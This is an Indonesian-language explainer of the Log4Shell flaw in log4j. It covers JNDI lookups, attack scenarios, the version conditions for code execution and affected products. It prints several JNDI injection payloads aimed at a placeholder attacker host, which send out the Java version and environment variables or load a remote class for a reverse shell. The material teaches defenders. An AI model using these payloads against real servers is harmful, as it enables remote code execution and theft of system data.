Introduction
contoh konfigurasi log4j yang menggunakan Environment Lookup :
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern>
</PatternLayout>
</File>
konfigurasi tersebut akan mengambil informasi USER yang ada pada environment variable.
Root Cause
${jndi:ldap://attacker.com/Exploit}
JNDI 101
JNDI Lookup pada log4j memungkinkan variabel untuk diambil melalui JNDI. Contoh :
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${jndi:logging/nama-context} %m%n</pattern>
</PatternLayout>
</File>
JNDI Exploitation
Yang penting untuk dipahami adalah apa yang terjadi di background saat layanan menggunakan JNDI untuk mengambil objek di server direktori:
- Layanan direktori tidak harus berbasis Java karena hanya perlu menyediakan serialized object yang direferensikan, yang akan dideserialisasi oleh klien JNDI.
- Terkadang objek tidak dapat disimpan dalam layanan direktori: Mungkin melebihi ukuran objek maksimum dari layanan yang digunakan atau kelas objek tidak dapat diserialisasi. Untuk menghadapi skenario ini, JNDI menyediakan fitur yang memungkinkan untuk mengunduh kode Java yang dikompilasi dari server web. Java akan membuat permintaan GET ke layanan itu dan dengan senang hati membuat instance baru dari kelas itu!
JNDI Attack Scenarios
Agar serangan JNDI berfungsi, penyerang harus dapat mengelabui aplikasi target agar membuat koneksi JNDI ke layanan direktori yang dikendalikan penyerang (RMI/LDAP/CORBA). Ada berbagai skenario ketika ini bisa terjadi:
- Penyerang memiliki akses ke dashboard admin dan dapat menentukan atau memodifikasi resource JNDI.
- Memanfaatkan kerentanan deserialisasi: Penyerang membutuhkan gadget atau gadget chain yang menyebabkan layanan target membuat koneksi JNDI keluar.
- Penyerang sudah memiliki kontrol parsial atas entri dalam layanan direktori yang ditanyakan oleh klien JNDI, misalnya akun pengguna di Active Directory.
- Penyerang memiliki kendali penuh atas nama objek.
Log4shell Attack Scenarios
log.info("Request User-Agent: {}", userAgent);
Payload 1 : JNDI Lookup pada User-Agent: ${jndi:ldap://ip-attacker/}
Payload 2 : JNDI Lookup + Java Lookup pada User-Agent: ${jndi:ldap://ip-attacker/${java:version}}
Payload 3 : JNDI Lookup + Environment Lookup pada User-Agent: ${jndi:ldap://ip-attacker/${env:USER} pathnya adalah ${env:PATH}}
Payload 4 : JNDI Lookup + Reverse Shell pada User-Agent: ${jndi:ldap://ip-attacker/Exploit}
Looking for RCE?
- Log4j versi 2 harus digunakan (>= 2.0-beta9 dan <= 2.14.1)
- Penyerang harus memiliki akses langsung atau tidak langsung (ketika data input diteruskan ke sistem lain dan dilog di sana) ke sistem target.
- Input/request (user agent, domain paths, text input, …) harus dilog.
- Versi java dibawah 6u211, 7u201, 8u191, dan 11.0.1.
Log4j versi 1.x?
Celah keamanan pada log4j versi 1.x ini tercatat pada CVE-2021-4104 dan memiliki severity lebih rendah daripada celah keamanan pada versi 2.x (CVE-2021-44228).
- Apache Kafka
- Kafka Connect
- Schema Registry
- Rest Proxy
- KSQL
- Bamboo Server and Data Center
- Confluence Server and Data Center
- Crowd Server and Data Center
- Fisheye / Crucible
- Jira Server and Data Center
Ref :
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/
- https://www.cnblogs.com/yyhuni/p/15088134.html
- https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html
- https://www.xeotek.com/is-apachekafka-vulnerable-to-log4j2-exploit/

























































